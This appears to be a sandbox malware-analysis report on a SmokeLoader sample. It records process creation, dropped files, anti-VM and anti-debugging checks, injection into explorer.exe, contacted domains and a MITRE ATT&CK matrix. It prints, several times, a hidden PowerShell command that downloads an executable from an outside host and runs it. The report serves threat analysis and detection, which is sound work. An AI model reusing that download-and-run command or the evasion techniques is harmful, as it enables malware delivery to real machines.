Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_002223E2 push 000023C2h; retn 0023h	8_2_002223F2
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_002212EB pushad ; iretd	8_2_002212ED
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0099CC1C pushad ; iretd	8_2_0099CC1E
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_009A3454 push esp; ret	8_2_009A3455
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0099E741 push es; retf	8_2_0099E758
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0099FE71 push ebx; ret	8_2_0099FE74

Source: EkXH.exe.1.dr	Static PE information: section name: .text entropy: 7.486630625699931
Source: vgjfftu.5.dr	Static PE information: section name: .text entropy: 7.486630625699931

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\EkXH.exe			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\vgjfftu			Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\vgjfftu

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\vgjfftu:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking system information)

Source: C:\Users\user\AppData\Roaming\vgjfftu	Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep			graph_8-4034
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep			graph_4-4057

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	API/Special instruction interceptor: Address: 7731C7BA
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	API/Special instruction interceptor: Address: 7731BFFA
Source: C:\Users\user\AppData\Roaming\vgjfftu	API/Special instruction interceptor: Address: 7731C7BA
Source: C:\Users\user\AppData\Roaming\vgjfftu	API/Special instruction interceptor: Address: 7731BFFA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1237	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2849	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 422	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2431	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2555	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 1579	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe TID: 3604	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3740	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3644	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3884	Thread sleep count: 422 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3892	Thread sleep count: 2431 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3892	Thread sleep time: -243100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3888	Thread sleep count: 263 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4000	Thread sleep count: 249 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4008	Thread sleep count: 146 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4004	Thread sleep count: 215 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3892	Thread sleep count: 2555 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3892	Thread sleep time: -255500s >= -30000s	Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 3980	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00418A70 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00513d6ch], 11h and CTI: jne 00418CA4h		4_2_00418A70
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00418A70 GetSystemTimeAdjustment followed by cmp: cmp dword ptr [00513d6ch], 11h and CTI: jne 00418CA4h		8_2_00418A70

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 00000005.00000000.405739079.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000005.00000000.405739079.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000005.00000000.405739079.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 00000005.00000000.405400637.00000000025E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 00000005.00000000.405739079.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	System information queried: CodeIntegrityInformation			Jump to behavior

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Roaming\vgjfftu	Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep			graph_8-4034
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep			graph_4-4057

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0022092B mov eax, dword ptr fs:[00000030h]	4_2_0022092B
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_00220D90 mov eax, dword ptr fs:[00000030h]	4_2_00220D90
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Code function: 4_2_0066BBF4 push dword ptr fs:[00000030h]	4_2_0066BBF4
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0022092B mov eax, dword ptr fs:[00000030h]	8_2_0022092B
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_00220D90 mov eax, dword ptr fs:[00000030h]	8_2_00220D90
Source: C:\Users\user\AppData\Roaming\vgjfftu	Code function: 8_2_0099B7D4 push dword ptr fs:[00000030h]	8_2_0099B7D4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: vgjfftu.5.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: openclehardware.ru
Source: C:\Windows\explorer.exe	Domain query: ceoconstractionstore.pl
Source: C:\Windows\explorer.exe	Domain query: unicexpertmagazine.pw
Source: C:\Windows\explorer.exe	Domain query: informcoopirationunicolceo.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.219.7.204 80	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Thread created: C:\Windows\explorer.exe EIP: 28319F0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Thread created: unknown EIP: 27019F0			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EkXH.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vgjfftu	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\EkXH.exe "C:\Users\user\AppData\Local\Temp\EkXH.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\vgjfftu C:\Users\user\AppData\Roaming\vgjfftu	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -command "$path = $env:temp + '\ekxh.exe'; $client = new-object system.net.webclient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); start-process -filepath $path"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -command "$path = $env:temp + '\ekxh.exe'; $client = new-object system.net.webclient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); start-process -filepath $path"			Jump to behavior

Source: explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman-
Source: explorer.exe, 00000005.00000000.405126817.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.405126817.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.405126817.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EkXH.exe

Code function: 4_2_00418A70 InterlockedCompareExchange,GetFocus,ReadConsoleA,FindAtomA,SearchPathA,SetConsoleMode,SearchPathW,GetDefaultCommConfigA,CopyFileExW,CreatePipe,GetEnvironmentStringsW,WriteConsoleOutputA,GetModuleFileNameA,GetSystemTimeAdjustment,ObjectPrivilegeAuditAlarmW,WaitForSingleObject,SetCommState,GetConsoleAliasesLengthW,GetComputerNameA,CopyFileW,GetFileAttributesA,GetConsoleAliasExesLengthW,GetBinaryType,FormatMessageA,GetLongPathNameA,PurgeComm,LoadLibraryA,MoveFileW,InterlockedCompareExchange,

4_2_00418A70

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Scripting	1 DLL Side-Loading	2 Obfuscated Files or Information	OS Credential Dumping	11 System Time Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	312 Process Injection	12 Software Packing	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Email Collection	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	215 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	11 Masquerading	NTDS	611 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	231 Virtualization/Sandbox Evasion	LSA Secrets	231 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	312 Process Injection	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
